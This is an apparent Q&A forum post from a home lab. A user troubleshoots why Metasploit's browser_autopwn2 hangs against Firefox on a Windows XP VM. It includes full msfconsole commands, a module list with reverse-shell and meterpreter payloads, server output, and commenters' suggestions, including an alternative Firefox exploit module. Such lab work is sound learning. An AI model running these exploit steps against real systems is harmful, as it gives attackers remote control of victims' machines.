0
  • Virtual Appliance: VMWare Workstation 12 Player
  • Local VM: Kali Linux 2
  • Remote (Victim) VM: Windows XP
  • Browsers on Remote VM: Firefox 47.0.1, IE 6

This article explains Browser Autopwn2 exploit.

I followed the steps, but it hung at adobe_flash_hacking_team_uaf - Sending SWF

Someone had similar problem and was told that their Firefox must have updated before the actual exploit was launched.

So, I updated Firefox, and attempted the exploit again. But it still hangs at adobe_flash_hacking_team_uaf - Sending SWF. No error message, just hangs.

Then I tried changing the RPORT from 445 TO 4444, as many listed exploits says it works best on port 4444.

Please note, the exploit works on IE 6, but not Firefox, but that's not the point. I would like to make it work on Firefox

Question: How to troubleshoot so this exploit will work on Firefox?

Here are the detailed commands and output:

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms03_026_dcom) > set RHOST 192.168.1.9
RHOST => 192.168.1.9
msf exploit(ms03_026_dcom) > set RPORT 4444
RPORT => 4444
msf exploit(ms03_026_dcom) > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf auxiliary(browser_autopwn2) > exploit
[*] Auxiliary module execution completed

[*] Searching BES exploits, please wait...
msf auxiliary(browser_autopwn2) > [*] Starting exploit modules...
[*] Starting listeners...
[*] Time spent: 10.717221465
[*] Starting the payload handler...
[*] Using URL: http://0.0.0.0:8080/OZ324lv57mALPCG
[*] Local IP: http://192.168.1.10:8080/OZ324lv57mALPCG

[*] The following is a list of exploits that BrowserAutoPwn will consider using.
[*] Exploits with the highest ranking and newest will be tried first.

Exploits
========

 Order  Rank       Name                                       Payload
 -----  ----       ----                                       -------
 1      Excellent  firefox_webidl_injection                   firefox/shell_reverse_tcp on 4442
 2      Excellent  firefox_tostring_console_injection         firefox/shell_reverse_tcp on 4442
 3      Excellent  firefox_svg_plugin                         firefox/shell_reverse_tcp on 4442
 4      Excellent  firefox_proto_crmfrequest                  firefox/shell_reverse_tcp on 4442
 5      Excellent  webview_addjavascriptinterface             android/meterpreter/reverse_tcp on 4443
 6      Excellent  samsung_knox_smdm_url                      android/meterpreter/reverse_tcp on 4443
 7      Great      adobe_flash_worker_byte_array_uaf          windows/meterpreter/reverse_tcp on 4444
 8      Great      adobe_flash_domain_memory_uaf              windows/meterpreter/reverse_tcp on 4444
 9      Great      adobe_flash_copy_pixels_to_byte_array      windows/meterpreter/reverse_tcp on 4444
 10     Great      adobe_flash_casi32_int_overflow            windows/meterpreter/reverse_tcp on 4444
 11     Great      adobe_flash_uncompress_zlib_uaf            windows/meterpreter/reverse_tcp on 4444
 12     Great      adobe_flash_shader_job_overflow            windows/meterpreter/reverse_tcp on 4444
 13     Great      adobe_flash_shader_drawing_fill            windows/meterpreter/reverse_tcp on 4444
 14     Great      adobe_flash_pixel_bender_bof               windows/meterpreter/reverse_tcp on 4444
 15     Great      adobe_flash_opaque_background_uaf          windows/meterpreter/reverse_tcp on 4444
 16     Great      adobe_flash_net_connection_confusion       windows/meterpreter/reverse_tcp on 4444
 17     Great      adobe_flash_nellymoser_bof                 windows/meterpreter/reverse_tcp on 4444
 18     Great      adobe_flash_hacking_team_uaf               windows/meterpreter/reverse_tcp on 4444
 19     Good       wellintech_kingscada_kxclientdownload      windows/meterpreter/reverse_tcp on 4444
 20     Good       ms14_064_ole_code_execution                windows/meterpreter/reverse_tcp on 4444
 21     Good       adobe_flash_uncompress_zlib_uninitialized  windows/meterpreter/reverse_tcp on 4444

[+] Please use the following URL for the browser attack:
[+] BrowserAutoPwn URL: http://192.168.1.10:8080/OZ324lv57mALPCG
[*] Server started.
[*] Starting the payload handler...
[*] 192.168.1.9      browser_autopwn2 - Gathering target information.
[*] 192.168.1.9      browser_autopwn2 - Sending HTML response.
[*] 192.168.1.9      adobe_flash_hacking_team_uaf - Request: /lHXtefajTHzb/MuVDJf/
[*] 192.168.1.9      adobe_flash_hacking_team_uaf - Sending HTML...
[*] 192.168.1.9      adobe_flash_hacking_team_uaf - Request: /lHXtefajTHzb/MuVDJf/XxgNf.swf
[*] 192.168.1.9      adobe_flash_hacking_team_uaf - Sending SWF...
  • Do both browsers use the same version of Adobe Flash? Is the victim machine still reachable, i.e. can you ping it? Can you fire up Wireshark and see if you're still sending SWF (once you start capturing packets, write HTTP in the Filter section)? – A. Darwin Jul 24 '16 at 18:17
  • @a-darwin I check this. – Rhonda Jul 24 '16 at 18:23
  • @-darwin I went to helpx.adobe.com/flash-player/kb/find-version-flash-player.html on Firefox, and it says Flash not Installed. Then I went to link on IE6 and it doesn't display webpage. I also searched Tools > Add-Ons and didn't find Flash anywhere. Now working on wireshark... – Rhonda Jul 24 '16 at 18:41
  • Check Tools-> addons on Firefox just to be sure. Obviously, if Flash isn't available on Firefox, a Flash-based exploit won't work. – A. Darwin Jul 24 '16 at 18:48
  • You could exploit Firefox using the exploit/multi/browser/firefox_xpi_bootstrapped_addon module instead. What's your goal? – atdre Jul 24 '16 at 19:12

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.